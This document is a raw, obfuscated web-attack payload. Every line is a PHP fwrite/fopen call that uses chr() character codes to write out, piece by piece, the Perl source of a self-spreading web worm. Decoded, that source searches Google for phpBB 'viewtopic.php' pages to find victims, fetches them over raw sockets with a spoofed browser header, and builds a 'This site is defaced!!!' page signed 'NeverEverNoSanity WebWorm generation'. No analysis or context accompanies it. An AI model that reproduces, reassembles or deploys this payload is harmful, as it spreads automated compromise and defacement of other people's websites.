fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(117)chr(114)chr(108)chr(115)chr(59)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(64)chr(116)chr(115)chr(32)chr(61)chr(32)chr(113)chr(119)chr(47)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(32)chr(112)chr(32)chr(116)chr(111)chr(112)chr(105)chr(99)chr(47)chr(59)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(115)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(114)chr(116)chr(85)chr(82)chr(76)chr(32)chr(61)chr(32)chr(39)chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(119)chr(119)chr(119)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(103)chr(111)chr(111)chr(103)chr(108)chr(101)chr(46)chr(99)chr(111)chr(109)chr(47)chr(115)chr(101)chr(97)chr(114)chr(99)chr(104)chr(63)chr(110)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(117)chr(109)chr(61)chr(49)chr(48)chr(48)chr(38)chr(104)chr(108)chr(61)chr(101)chr(110)chr(38)chr(108)chr(114)chr(61)chr(38)chr(97)chr(115)chr(95)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(113)chr(100)chr(114)chr(61)chr(97)chr(108)chr(108)chr(39)chr(32)chr(46)chr(10)chr(9)chr(9)chr(39)chr(38)chr(113)chr(61)chr(97)chr(108)chr(108)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(110)chr(117)chr(114)chr(108)chr(37)chr(51)chr(65)chr(43)chr(37)chr(50)chr(50)chr(118)chr(105)chr(101)chr(119)chr(116)chr(111)chr(112)chr(105)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(99)chr(46)chr(112)chr(104)chr(112)chr(37)chr(50)chr(50)chr(43)chr(37)chr(50)chr(50)chr(39)chr(32)chr(46)chr(32)chr(10)chr(9)chr(9)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(115)chr(91)chr(105)chr(110)chr(116)chr(40)chr(114)chr(97)chr(110)chr(100)chr(40)chr(64)chr(116)chr(115)chr(41)chr(41)chr(93)chr(32)chr(46)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(39)chr(37)chr(51)chr(68)chr(39)chr(32)chr(46)chr(32)chr(105)chr(110)chr(116)chr(40)chr(114)chr(97)chr(110)chr(100)chr(40)chr(51)chr(48)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(48)chr(48)chr(48)chr(41)chr(41)chr(32)chr(46)chr(32)chr(39)chr(37)chr(50)chr(50)chr(38)chr(98)chr(116)chr(110)chr(71)chr(61)chr(83)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(114)chr(99)chr(104)chr(39)chr(59)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(103)chr(111)chr(111)chr(49)chr(115)chr(116)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(32)chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)chr(36)chr(115)chr(116)chr(97)chr(114)chr(116)chr(85)chr(82)chr(76)chr(41)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(59)chr(10)chr(10)chr(9)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(32)chr(117)chr(110)chr(108)chr(101)chr(115)chr(115)chr(32)chr(100)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(102)chr(105)chr(110)chr(101)chr(100)chr(32)chr(36)chr(103)chr(111)chr(111)chr(49)chr(115)chr(116)chr(59)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(97)chr(108)chr(108)chr(71)chr(111)chr(111)chr(32)chr(61)chr(32)chr(36)chr(103)chr(111)chr(111)chr(49)chr(115)chr(116)chr(59)chr(10)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(9)chr(109)chr(121)chr(32)chr(36)chr(114)chr(32)chr(61)chr(32)chr(39)chr(60)chr(116)chr(100)chr(62)chr(60)chr(97)chr(32)chr(104)chr(114)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(102)chr(61)chr(40)chr(47)chr(115)chr(101)chr(97)chr(114)chr(99)chr(104)chr(92)chr(63)chr(113)chr(61)chr(46)chr(43)chr(63)chr(41)chr(39)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(10)chr(9)chr(9)chr(39)chr(62)chr(60)chr(105)chr(109)chr(103)chr(32)chr(115)chr(114)chr(99)chr(61)chr(47)chr(110)chr(97)chr(118)chr(95)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(112)chr(97)chr(103)chr(101)chr(92)chr(46)chr(103)chr(105)chr(102)chr(32)chr(119)chr(105)chr(100)chr(116)chr(104)chr(61)chr(49)chr(54)chr(32)chr(104)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(101)chr(105)chr(103)chr(104)chr(116)chr(61)chr(50)chr(54)chr(32)chr(97)chr(108)chr(116)chr(61)chr(34)chr(34)chr(32)chr(98)chr(111)chr(114)chr(100)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(101)chr(114)chr(61)chr(48)chr(62)chr(60)chr(98)chr(114)chr(62)chr(92)chr(100)chr(43)chr(60)chr(47)chr(97)chr(62)chr(39)chr(59)chr(10)chr(10)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(9)chr(119)chr(104)chr(105)chr(108)chr(101)chr(40)chr(36)chr(103)chr(111)chr(111)chr(49)chr(115)chr(116)chr(32)chr(61)chr(126)chr(32)chr(109)chr(35)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(114)chr(35)chr(103)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(9)chr(36)chr(97)chr(108)chr(108)chr(71)chr(111)chr(111)chr(32)chr(46)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(61)chr(32)chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)chr(39)chr(119)chr(119)chr(119)chr(46)chr(103)chr(111)chr(111)chr(103)chr(108)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(101)chr(46)chr(99)chr(111)chr(109)chr(39)chr(32)chr(46)chr(32)chr(36)chr(49)chr(41)chr(59)chr(10)chr(9)chr(125)chr(10)chr(10)chr(10)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(119)chr(104)chr(105)chr(108)chr(101)chr(40)chr(36)chr(97)chr(108)chr(108)chr(71)chr(111)chr(111)chr(32)chr(61)chr(126)chr(32)chr(109)chr(35)chr(104)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(101)chr(102)chr(61)chr(40)chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(92)chr(83)chr(43)chr(118)chr(105)chr(101)chr(119)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(111)chr(112)chr(105)chr(99)chr(46)chr(112)chr(104)chr(112)chr(92)chr(83)chr(43)chr(41)chr(35)chr(103)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(9)chr(109)chr(121)chr(32)chr(36)chr(117)chr(32)chr(61)chr(32)chr(36)chr(49)chr(59)chr(10)chr(9)chr(9)chr(110)chr(101)chr(120)chr(116)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(102)chr(32)chr(36)chr(117)chr(32)chr(61)chr(126)chr(32)chr(109)chr(35)chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(46)chr(42)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(35)chr(105)chr(59)chr(32)chr(35)chr(32)chr(110)chr(111)chr(32)chr(114)chr(101)chr(100)chr(105)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(101)chr(99)chr(116)chr(115)chr(10)chr(9)chr(9)chr(112)chr(117)chr(115)chr(104)chr(40)chr(64)chr(117)chr(114)chr(108)chr(115)chr(44)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(117)chr(41)chr(59)chr(10)chr(9)chr(125)chr(10)chr(10)chr(9)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(32)chr(64)chr(117)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(108)chr(115)chr(59)chr(10)chr(125)chr(10)chr(10)chr(10)chr(115)chr(117)chr(98)chr(32)chr(71)chr(114)chr(97)chr(98)chr(85)chr(82)chr(76)chr(40)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(117)chr(114)chr(108)chr(32)chr(61)chr(32)chr(115)chr(104)chr(105)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(102)chr(116)chr(59)chr(10)chr(9)chr(36)chr(117)chr(114)chr(108)chr(32)chr(61)chr(126)chr(32)chr(115)chr(35)chr(94)chr(104)chr(116)chr(116)chr(112)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(58)chr(47)chr(47)chr(35)chr(35)chr(105)chr(59)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(40)chr(36)chr(104)chr(111)chr(115)chr(116)chr(44)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(36)chr(114)chr(101)chr(115)chr(41)chr(32)chr(61)chr(32)chr(36)chr(117)chr(114)chr(108)chr(32)chr(61)chr(126)chr(32)chr(109)chr(35)chr(94)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(40)chr(46)chr(43)chr(63)chr(41)chr(40)chr(47)chr(46)chr(42)chr(41)chr(35)chr(59)chr(10)chr(9)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(117)chr(110)chr(108)chr(101)chr(115)chr(115)chr(32)chr(100)chr(101)chr(102)chr(105)chr(110)chr(101)chr(100)chr(40)chr(36)chr(104)chr(111)chr(115)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(41)chr(32)chr(38)chr(38)chr(32)chr(100)chr(101)chr(102)chr(105)chr(110)chr(101)chr(100)chr(40)chr(36)chr(114)chr(101)chr(115)chr(41)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(114)chr(32)chr(61)chr(32)chr(34)chr(71)chr(69)chr(84)chr(32)chr(36)chr(114)chr(101)chr(115)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(72)chr(84)chr(84)chr(80)chr(47)chr(49)chr(46)chr(48)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)chr(50)chr(34)chr(32)chr(46)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(9)chr(9)chr(9)chr(34)chr(72)chr(111)chr(115)chr(116)chr(58)chr(32)chr(36)chr(104)chr(111)chr(115)chr(116)chr(92)chr(48)chr(49)chr(53)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(92)chr(48)chr(49)chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(34)chr(65)chr(99)chr(99)chr(101)chr(112)chr(116)chr(58)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(42)chr(47)chr(42)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(34)chr(65)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(99)chr(99)chr(101)chr(112)chr(116)chr(45)chr(76)chr(97)chr(110)chr(103)chr(117)chr(97)chr(103)chr(101)chr(58)chr(32)chr(101)chr(110)chr(45)chr(117)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(115)chr(44)chr(101)chr(110)chr(45)chr(103)chr(98)chr(59)chr(113)chr(61)chr(48)chr(46)chr(55)chr(44)chr(101)chr(110)chr(59)chr(113)chr(61)chr(48)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(51)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(34)chr(80)chr(114)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(103)chr(109)chr(97)chr(58)chr(32)chr(110)chr(111)chr(45)chr(99)chr(97)chr(99)chr(104)chr(101)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(49)chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(34)chr(67)chr(97)chr(99)chr(104)chr(101)chr(45)chr(67)chr(111)chr(110)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(111)chr(108)chr(58)chr(32)chr(110)chr(111)chr(45)chr(99)chr(97)chr(99)chr(104)chr(101)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(34)chr(82)chr(101)chr(102)chr(101)chr(114)chr(101)chr(114)chr(58)chr(32)chr(104)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(112)chr(58)chr(47)chr(47)chr(34)chr(32)chr(46)chr(32)chr(36)chr(104)chr(111)chr(115)chr(116)chr(32)chr(46)chr(32)chr(36)chr(114)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(115)chr(32)chr(46)chr(32)chr(34)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(34)chr(85)chr(115)chr(101)chr(114)chr(45)chr(65)chr(103)chr(101)chr(110)chr(116)chr(58)chr(32)chr(77)chr(111)chr(122)chr(105)chr(108)chr(108)chr(97)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(47)chr(52)chr(46)chr(48)chr(32)chr(40)chr(99)chr(111)chr(109)chr(112)chr(97)chr(116)chr(105)chr(98)chr(108)chr(101)chr(59)chr(32)chr(77)chr(83)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(73)chr(69)chr(32)chr(54)chr(46)chr(48)chr(59)chr(32)chr(87)chr(105)chr(110)chr(100)chr(111)chr(119)chr(115)chr(32)chr(78)chr(84)chr(32)chr(53)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(46)chr(49)chr(41)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)chr(50)chr(34)chr(32)chr(46)chr(10)chr(9)chr(9)chr(9)chr(34)chr(67)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(111)chr(110)chr(110)chr(101)chr(99)chr(116)chr(105)chr(111)chr(110)chr(58)chr(32)chr(99)chr(108)chr(111)chr(115)chr(101)chr(92)chr(48)chr(49)chr(53)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(92)chr(48)chr(49)chr(50)chr(92)chr(48)chr(49)chr(53)chr(92)chr(48)chr(49)chr(50)chr(34)chr(59)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(36)chr(112)chr(111)chr(114)chr(116)chr(32)chr(61)chr(32)chr(56)chr(48)chr(59)chr(10)chr(9)chr(105)chr(102)chr(40)chr(36)chr(104)chr(111)chr(115)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(32)chr(61)chr(126)chr(32)chr(47)chr(40)chr(46)chr(42)chr(41)chr(58)chr(40)chr(92)chr(100)chr(43)chr(41)chr(36)chr(47)chr(41)chr(123)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(36)chr(104)chr(111)chr(115)chr(116)chr(32)chr(61)chr(32)chr(36)chr(49)chr(59)chr(32)chr(36)chr(112)chr(111)chr(114)chr(116)chr(32)chr(61)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(36)chr(50)chr(59)chr(125)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(105)chr(110)chr(116)chr(101)chr(114)chr(110)chr(101)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(95)chr(97)chr(100)chr(100)chr(114)chr(32)chr(61)chr(32)chr(105)chr(110)chr(101)chr(116)chr(95)chr(97)chr(116)chr(111)chr(110)chr(40)chr(36)chr(104)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(111)chr(115)chr(116)chr(41)chr(32)chr(111)chr(114)chr(32)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(59)chr(10)chr(9)chr(115)chr(111)chr(99)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(107)chr(101)chr(116)chr(40)chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(44)chr(32)chr(80)chr(70)chr(95)chr(73)chr(78)chr(69)chr(84)chr(44)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(83)chr(79)chr(67)chr(75)chr(95)chr(83)chr(84)chr(82)chr(69)chr(65)chr(77)chr(44)chr(32)chr(103)chr(101)chr(116)chr(112)chr(114)chr(111)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(111)chr(98)chr(121)chr(110)chr(97)chr(109)chr(101)chr(40)chr(39)chr(116)chr(99)chr(112)chr(39)chr(41)chr(41)chr(32)chr(111)chr(114)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(59)chr(10)chr(9)chr(115)chr(101)chr(116)chr(115)chr(111)chr(99)chr(107)chr(111)chr(112)chr(116)chr(40)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(44)chr(32)chr(83)chr(79)chr(76)chr(95)chr(83)chr(79)chr(67)chr(75)chr(69)chr(84)chr(44)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(83)chr(79)chr(95)chr(82)chr(67)chr(86)chr(84)chr(73)chr(77)chr(69)chr(79)chr(44)chr(32)chr(49)chr(48)chr(48)chr(48)chr(48)chr(41)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(9)chr(99)chr(111)chr(110)chr(110)chr(101)chr(99)chr(116)chr(40)chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(44)chr(32)chr(115)chr(111)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(99)chr(107)chr(97)chr(100)chr(100)chr(114)chr(95)chr(105)chr(110)chr(40)chr(36)chr(112)chr(111)chr(114)chr(116)chr(44)chr(32)chr(36)chr(105)chr(110)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(116)chr(101)chr(114)chr(110)chr(101)chr(116)chr(95)chr(97)chr(100)chr(100)chr(114)chr(41)chr(41)chr(32)chr(111)chr(114)chr(32)chr(114)chr(101)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(117)chr(114)chr(110)chr(59)chr(10)chr(9)chr(115)chr(101)chr(108)chr(101)chr(99)chr(116)chr(40)chr(40)chr(115)chr(101)chr(108)chr(101)chr(99)chr(116)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(40)chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(41)chr(44)chr(32)chr(36)chr(124)chr(32)chr(61)chr(32)chr(49)chr(41)chr(91)chr(48)chr(93)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(41)chr(59)chr(10)chr(9)chr(112)chr(114)chr(105)chr(110)chr(116)chr(32)chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(32)chr(36)chr(114)chr(59)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(97)chr(110)chr(115)chr(119)chr(101)chr(114)chr(32)chr(61)chr(32)chr(106)chr(111)chr(105)chr(110)chr(32)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(39)chr(39)chr(44)chr(32)chr(60)chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(62)chr(59)chr(10)chr(9)chr(99)chr(108)chr(111)chr(115)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(40)chr(83)chr(101)chr(114)chr(118)chr(101)chr(114)chr(41)chr(59)chr(10)chr(10)chr(9)chr(114)chr(101)chr(116)chr(117)chr(114)chr(110)chr(32)chr(36)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(97)chr(110)chr(115)chr(119)chr(101)chr(114)chr(59)chr(10)chr(125)chr(10)chr(10)chr(10)chr(115)chr(117)chr(98)chr(32)chr(68)chr(111)chr(70)chr(105)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(108)chr(101)chr(40)chr(36)chr(41)chr(32)chr(123)chr(10)chr(10)chr(9)chr(109)chr(121)chr(32)chr(36)chr(115)chr(32)chr(61)chr(32)chr(113)chr(123)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(60)chr(33)chr(68)chr(79)chr(67)chr(84)chr(89)chr(80)chr(69)chr(32)chr(72)chr(84)chr(77)chr(76)chr(32)chr(80)chr(85)chr(66)chr(76)chr(73)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(67)chr(32)chr(34)chr(45)chr(47)chr(47)chr(73)chr(69)chr(84)chr(70)chr(47)chr(47)chr(68)chr(84)chr(68)chr(32)chr(72)chr(84)chr(77)chr(76)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(50)chr(46)chr(48)chr(47)chr(47)chr(69)chr(78)chr(34)chr(62)chr(10)chr(60)chr(72)chr(84)chr(77)chr(76)chr(62)chr(60)chr(72)chr(69)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(65)chr(68)chr(62)chr(10)chr(60)chr(84)chr(73)chr(84)chr(76)chr(69)chr(62)chr(84)chr(104)chr(105)chr(115)chr(32)chr(115)chr(105)chr(116)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(32)chr(105)chr(115)chr(32)chr(100)chr(101)chr(102)chr(97)chr(99)chr(101)chr(100)chr(33)chr(33)chr(33)chr(60)chr(47)chr(84)chr(73)chr(84)chr(76)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(69)chr(62)chr(10)chr(60)chr(47)chr(72)chr(69)chr(65)chr(68)chr(62)chr(60)chr(66)chr(79)chr(68)chr(89)chr(32)chr(98)chr(103)chr(99)chr(111)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(108)chr(111)chr(114)chr(61)chr(34)chr(35)chr(48)chr(48)chr(48)chr(48)chr(48)chr(48)chr(34)chr(32)chr(116)chr(101)chr(120)chr(116)chr(61)chr(34)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(35)chr(70)chr(70)chr(48)chr(48)chr(48)chr(48)chr(34)chr(62)chr(10)chr(60)chr(72)chr(49)chr(62)chr(84)chr(104)chr(105)chr(115)chr(32)chr(115)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(105)chr(116)chr(101)chr(32)chr(105)chr(115)chr(32)chr(100)chr(101)chr(102)chr(97)chr(99)chr(101)chr(100)chr(33)chr(33)chr(33)chr(60)chr(47)chr(72)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(49)chr(62)chr(10)chr(60)chr(72)chr(82)chr(62)chr(10)chr(60)chr(65)chr(68)chr(68)chr(82)chr(69)chr(83)chr(83)chr(62)chr(60)chr(98)chr(62)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(78)chr(101)chr(118)chr(101)chr(114)chr(69)chr(118)chr(101)chr(114)chr(78)chr(111)chr(83)chr(97)chr(110)chr(105)chr(116)chr(121)chr(32)chr(87)chr(101)),exit
fwrite(fopen(chr(109)chr(49)chr(104)chr(111)chr(50)chr(111)chr(102),chr(97)),chr(98)chr(87)chr(111)chr(114)chr(109)chr(32)chr(103)chr(101)chr(110)chr(101)chr(114)chr(97)chr(116)chr(105)chr(111)chr(110)chr(32)chr(125)chr(32)chr(46)),exit
